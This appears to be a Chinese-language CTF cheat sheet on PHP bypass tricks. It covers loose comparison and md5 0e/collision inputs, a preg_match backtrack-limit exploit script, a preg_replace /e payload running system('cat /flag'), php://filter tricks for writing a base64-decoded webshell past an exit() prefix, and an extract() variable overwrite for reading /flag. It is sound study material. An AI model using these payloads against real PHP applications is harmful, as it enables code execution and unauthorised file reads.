常用php特性总结

弱类型比较绕过

php是一种弱类型语言,只要求比较的两个值在转换类型后相等

php中有两种比较符号 == 和 ===
== 在比较时会先将字符串转换为相同类型,再进行比较
=== 会先判断是否类型相同,再比较

PHP类型比较表

松散比较

1
2
3
4
admin == 0 // true (字符串被强制转换为0)
admin123 == 0 // true (字符串数字混合时,前为字母则为0)
123admin == 0 // false (字符串数字混合时,前为数字则值为该数字)
0e123123 == 0e456456 //true

例题:

1
2
3
4
5
6
7
8
<?php
$a = $_GET['a'];
if (!is_numeric($a)) {
if ($a == 114514) {
echo "success";
}
}
?>

Switch/case松散比较
例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$which = $_GET['which'];
switch ($which) {
case 0:
print ('QAQ');
case 1:
echo "111";
case 2:
require_once $which . '.php';
echo $flag;
break;
default:
echo "no";
break;
}

?which=flag即可读到flag.php文件


MD5绕过

$md5==md5($md5)

1
md5=0e215962017

==
0e开头的md5和原值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

(string)!==&&(string)==
用0e中的字符串,转成String后无法使用数组


!==&&===
【1】数组绕过

1
a[]=1&b[]=2;

【2】md5强碰撞(fastcoll)
例:

1
((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))

若强转成String且strlen()<=3
在php中,NAN和INF都是特殊的浮点数
当运算无法计算结果时,会产生NAN
INF表示无穷大,数值超过PHP_FLOAT_MAX或使用一些数学函数产生极大或极小的结果时,会产生INF
以下栗子中,abc是字符串类型,d是浮点型
MD5以字符串进行加密 所以md5等

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = 'I';
$b = 'N';
$c = 'F';
$d = INF;
$e = $a . $b . $c;
if (md5($e) === md5($d) && $e !== $d) {
echo 'true';
} else {
echo 'false';
}

true


若需为可打印字符且$a!=$b&&md5($a)===md5($b)
例题:

1
2
3
4
5
6
7
8
9
10
if(ctype_print($a) && ctype_print($b)){
if($a != $b && md5($a) === md5($b)){
echo "<p>great</p>";
echo file_get_contents("/flag");
}else{
echo "try again";
}
}else{
echo "no fastcoll :(";
}

以下md5同:

1
2
TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

preg_match 绕过

利用preg_match回溯次数绕过

1
2
3
4
5
6
7
$try=$_POST['try'];
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

preg_match():其中的’.’代表着匹配前面的单个字符,’+’代表匹配一次或者是多次,’+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*HACKER,就会返回true),回溯次数在100万次就会崩溃
stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

满足条件:
[1]不含*HACKER
[2]HACKER不为第一个字符串

exp:

1
2
3
4
5
6
7
8
9
10
import requests

url = '';

data = {
'try': 'a' * 1000000 + '%00HACKER'
}

res = requests.post(url = url,data = data)
print(res.text)

preg_replace /e模式 (php5.5.0以下)

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace($pattern,$replacement,$subject);
$subject中与$pattern匹配的部分用$replacement替换

e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行
上面题目相当于执行

1
eval('strtolower("\\1")')

转义后为\1,反向引用(\几就匹配第几个)

1
2
3
4
\S 表示匹配任意非空白字符(包括字母、数字、标点符号等,不包括空格、制表符、换行符等空白字符)
*匹配零个或多个
\.*匹配零个或多个字符(包括空字符)
\S* 匹配零个或多个字符(不包括空字符)
  • (‘.\S*.’) 这个模式的意思是:
    • 匹配以一个任意字符(除换行符)开头(即.),后跟零个或多个非空白字符(\S*),再后跟一个任意字符(即.)。
    • 最终结果是,整个模式要求有一些字符(任意字符和非空白字符)的组合在一起。

foreach循环GET传参 以键值对的形式传参,$re的值作为参数名(键) $str的值作为参数值(键值)

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;
单引号中的变量不会被处理。

${}中间可以放要执行的函数

本题中第二个参数不可变,但是strtolower(“\1”)正好是匹配区的第一个,如果$subject中的内容可以全部匹配,可以执行该函数

1
2
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)//原语句
preg_replace('/('\.*')/ei','strtolower("\\1")',要执行的函数)

由于GET传参.会变成_ 所以改用\S*

payload:

1
?\S*=${getFlag()}&cmd=system('cat /flag');

PHP伪协议

file://
file:// + 绝对路径

1
file:///var/www/html/index.php

data://

1
2
data://text/plain,123456 读出来的直接就是逗号后面的内容
data://text/plain;base64,xxx 读出来的是xxx base64解码出来的内容

php://input

1
2
php://filter/convert.base64-encode/resource= +文件名 
输出文件base64编码后的内容

convert.iconv
php://filter/convert.iconv.UTF-7.UCS-4*/resource=xxx.php
利用burp爆破


读取文件

SplFileObject类
[1]

1
2
3
4
$a = 'SplFileObject';
$b = 'flag.php';
$c = 'fgets';
echo (new $a($b))->$c();

[2]

1
2
3
4
5
6
$a = 'SplFileObject';
$aa = 'data://text/plain,system';
$c = '_toString';
$b = 'SplFileObject';
$bb = 'data://text/plain,cat flag';
echo ((new $a($aa))->$c())((new $b($bb))->$c())

file_get_contents()

1
echo file_get_content($a);

fopen()

1
echo fread(fopen($a, 'r'), filesize($a));

base64

1
base64 /fl4g

输出/fl4g文件base64编码后的内容


各种绕过姿势

intval()

例:

1
if(intval($num)<2020 && intval($num+1)>2021)

在PHP7.2.5以下某版本前,intval()无法正确解析e/E,于是在有e/E的时候即立即停止,导致科学计数法未生效,但是在参与运算时则被正确解析
$num=1e4即可绕过

若限制不可见字符

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

在php中’s’->字符串,’S’->16进制字符串
%00是不可见字符 需将其转换成16进制字符串\00
反序列化时:

1
2
3
4
5
$bai = urlencode(serialize(new FileHandler));
//URL编码实例化后的类FileHandler序列化结果
$mao = str_replace('%00', "\\00", $bai);
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao = str_replace('s', 'S', $mao);

file_put_content()

php死亡退出

1
file_put_contents($filename,"<?php exit();".$content);

传参:

1
2
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+ (<?php phpinfo();?>

filename先将内容进行解码后写入文件
content是一句话木马base64编码后的代码
phpexit有7个字节,base64编码以4个字节为一组,前面需添加一个字节来满足编码


Extract变量替换

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$notes_directory = '/var/www/html';

extract($_REQUEST);
if (!isset($file)) {
echo 'Error: Missing file parameter.';
exit;
}
if (preg_match('/^[a-z0-9._]+$/', $file)) {
$filePath = $notes_directory . '/' . $file;
} else {
die("waf!");
}

if (!file_exists($filePath) || !is_file($filePath)) {
echo 'Error: File not found : ' . $filePath;
exit;
}

header('Content-Type: text/plain; charset=UTF-8');
readfile($filePath);
// flag in /flag
?>

extract变量替换,直接将变量的值换成url中后面所替换的值($_REQUEST)

payload:

1
127.0.0.1/note.php?notes_directory=&file=flag